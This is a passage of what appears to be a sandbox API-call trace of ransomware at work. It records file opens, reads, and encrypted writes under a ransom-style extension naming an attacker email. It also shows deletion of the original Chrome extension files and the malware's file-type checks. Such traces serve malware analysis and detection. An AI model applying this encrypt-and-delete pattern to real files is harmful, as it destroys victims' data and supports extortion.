halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json")) returned 0x2020 [0174.581] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.581] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0174.582] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.582] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.582] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0174.582] GetLastError () returned 0x0 [0174.582] ReadFile (in: hFile=0x1a0, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xb3, lpOverlapped=0x0) returned 1 [0174.583] WriteFile (in: hFile=0x1a4, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xc0, lpOverlapped=0x0) returned 1 [0174.584] ReadFile (in: hFile=0x1a0, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.584] WriteFile (in: hFile=0x1a4, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.584] SetEndOfFile (hFile=0x1a4) returned 1 [0174.584] CloseHandle (hObject=0x1a4) returned 1 [0174.584] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.584] SetEndOfFile (hFile=0x1a0) returned 1 [0174.585] CloseHandle (hObject=0x1a0) returned 1 [0174.585] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.585] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json")) returned 1 [0174.586] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json") returned 153 [0174.586] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json") returned 153 [0174.586] lstrlenW (lpString=".doc") returned 4 [0174.586] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.586] lstrlenW (lpString=".docx") returned 5 [0174.586] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.586] lstrlenW (lpString=".pdf") returned 4 [0174.586] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.586] lstrlenW (lpString=".xls") returned 4 [0174.586] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.586] lstrlenW (lpString=".xlsx") returned 5 [0174.586] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.586] lstrlenW (lpString=".ppt") returned 4 [0174.586] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.586] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json") returned 153 [0174.586] lstrlenW (lpString=".zip") returned 4 [0174.586] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.586] lstrlenW (lpString=".rar") returned 4 [0174.586] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.586] lstrlenW (lpString=".bz2") returned 4 [0174.586] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.586] lstrlenW (lpString=".7z") returned 3 [0174.586] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.586] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json") returned 153 [0174.586] lstrlenW (lpString=".dbf") returned 4 [0174.586] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.586] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json") returned 153 [0174.586] lstrlenW (lpString=".1cd") returned 4 [0174.587] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.587] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json") returned 153 [0174.587] lstrlenW (lpString=".jpg") returned 4 [0174.587] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.587] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json") returned 153 [0174.587] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json") returned 153 [0174.587] lstrlenW (lpString=".doc") returned 4 [0174.587] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.587] lstrlenW (lpString=".docx") returned 5 [0174.587] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.587] lstrlenW (lpString=".pdf") returned 4 [0174.587] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.587] lstrlenW (lpString=".xls") returned 4 [0174.587] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.587] lstrlenW (lpString=".xlsx") returned 5 [0174.587] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.587] lstrlenW (lpString=".ppt") returned 4 [0174.587] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.587] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json") returned 153 [0174.587] lstrlenW (lpString=".zip") returned 4 [0174.587] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.587] lstrlenW (lpString=".rar") returned 4 [0174.587] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.587] lstrlenW (lpString=".bz2") returned 4 [0174.587] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.587] lstrlenW (lpString=".7z") returned 3 [0174.587] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.768] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json") returned 153 [0174.768] lstrlenW (lpString=".dbf") returned 4 [0174.769] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.769] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json") returned 153 [0174.769] lstrlenW (lpString=".1cd") returned 4 [0174.769] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.769] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json") returned 153 [0174.769] lstrlenW (lpString=".jpg") returned 4 [0174.769] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.769] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.769] lstrlenW (lpString="messages.json") returned 13 [0174.769] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.769] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=179) returned 1 [0174.769] CloseHandle (hObject=0x1b4) returned 1 [0174.769] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_tw\\messages.json")) returned 0x2020 [0174.770] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_tw\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.770] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.770] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.770] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.770] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_tw\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0174.885] GetLastError () returned 0x0 [0174.885] ReadFile (in: hFile=0x1b4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xb3, lpOverlapped=0x0) returned 1 [0174.886] WriteFile (in: hFile=0x19c, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xc0, lpOverlapped=0x0) returned 1 [0174.887] ReadFile (in: hFile=0x1b4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.887] WriteFile (in: hFile=0x19c, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.887] SetEndOfFile (hFile=0x19c) returned 1 [0174.887] CloseHandle (hObject=0x19c) returned 1 [0174.888] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.888] SetEndOfFile (hFile=0x1b4) returned 1 [0174.888] CloseHandle (hObject=0x1b4) returned 1 [0174.888] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.889] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_tw\\messages.json")) returned 1 [0174.889] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\messages.json") returned 156 [0174.889] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\messages.json") returned 156 [0174.889] lstrlenW (lpString=".doc") returned 4 [0174.889] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.889] lstrlenW (lpString=".docx") returned 5 [0174.889] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.889] lstrlenW (lpString=".pdf") returned 4 [0174.889] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.889] lstrlenW (lpString=".xls") returned 4 [0174.889] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.889] lstrlenW (lpString=".xlsx") returned 5 [0174.889] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.889] lstrlenW (lpString=".ppt") returned 4 [0174.889] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.889] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\messages.json") returned 156 [0174.889] lstrlenW (lpString=".zip") returned 4 [0174.889] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.889] lstrlenW (lpString=".rar") returned 4 [0174.889] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.889] lstrlenW (lpString=".bz2") returned 4 [0174.889] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.889] lstrlenW (lpString=".7z") returned 3 [0174.889] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.889] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\messages.json") returned 156 [0174.889] lstrlenW (lpString=".dbf") returned 4 [0174.890] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.890] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\messages.json") returned 156 [0174.890] lstrlenW (lpString=".1cd") returned 4 [0174.890] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.890] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\messages.json") returned 156 [0174.890] lstrlenW (lpString=".jpg") returned 4 [0174.890] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.890] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\messages.json") returned 156 [0174.890] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\messages.json") returned 156 [0174.890] lstrlenW (lpString=".doc") returned 4 [0174.890] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.890] lstrlenW (lpString=".docx") returned 5 [0174.890] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.890] lstrlenW (lpString=".pdf") returned 4 [0174.890] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.890] lstrlenW (lpString=".xls") returned 4 [0174.890] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.890] lstrlenW (lpString=".xlsx") returned 5 [0174.890] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.890] lstrlenW (lpString=".ppt") returned 4 [0174.890] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.890] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\messages.json") returned 156 [0174.890] lstrlenW (lpString=".zip") returned 4 [0174.890] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.890] lstrlenW (lpString=".rar") returned 4 [0174.890] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.890] lstrlenW (lpString=".bz2") returned 4 [0174.890] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.890] lstrlenW (lpString=".7z") returned 3 [0174.890] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.890] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\messages.json") returned 156 [0174.891] lstrlenW (lpString=".dbf") returned 4 [0174.891] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.891] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\messages.json") returned 156 [0174.891] lstrlenW (lpString=".1cd") returned 4 [0174.891] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.891] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\messages.json") returned 156 [0174.891] lstrlenW (lpString=".jpg") returned 4 [0174.891] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.891] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0174.891] lstrlenW (lpString="icon_128.png") returned 12 [0174.891] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.891] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=3399) returned 1 [0174.891] CloseHandle (hObject=0x1b4) returned 1 [0174.891] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png")) returned 0x2020 [0174.892] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.892] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.892] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.892] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.892] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0174.892] GetLastError () returned 0x0 [0174.892] ReadFile (in: hFile=0x1b4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xd47, lpOverlapped=0x0) returned 1 [0174.896] WriteFile (in: hFile=0x19c, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xd50, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xd50, lpOverlapped=0x0) returned 1 [0174.899] ReadFile (in: hFile=0x1b4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.899] WriteFile (in: hFile=0x19c, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0174.899] SetEndOfFile (hFile=0x19c) returned 1 [0174.899] CloseHandle (hObject=0x19c) returned 1 [0174.900] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, 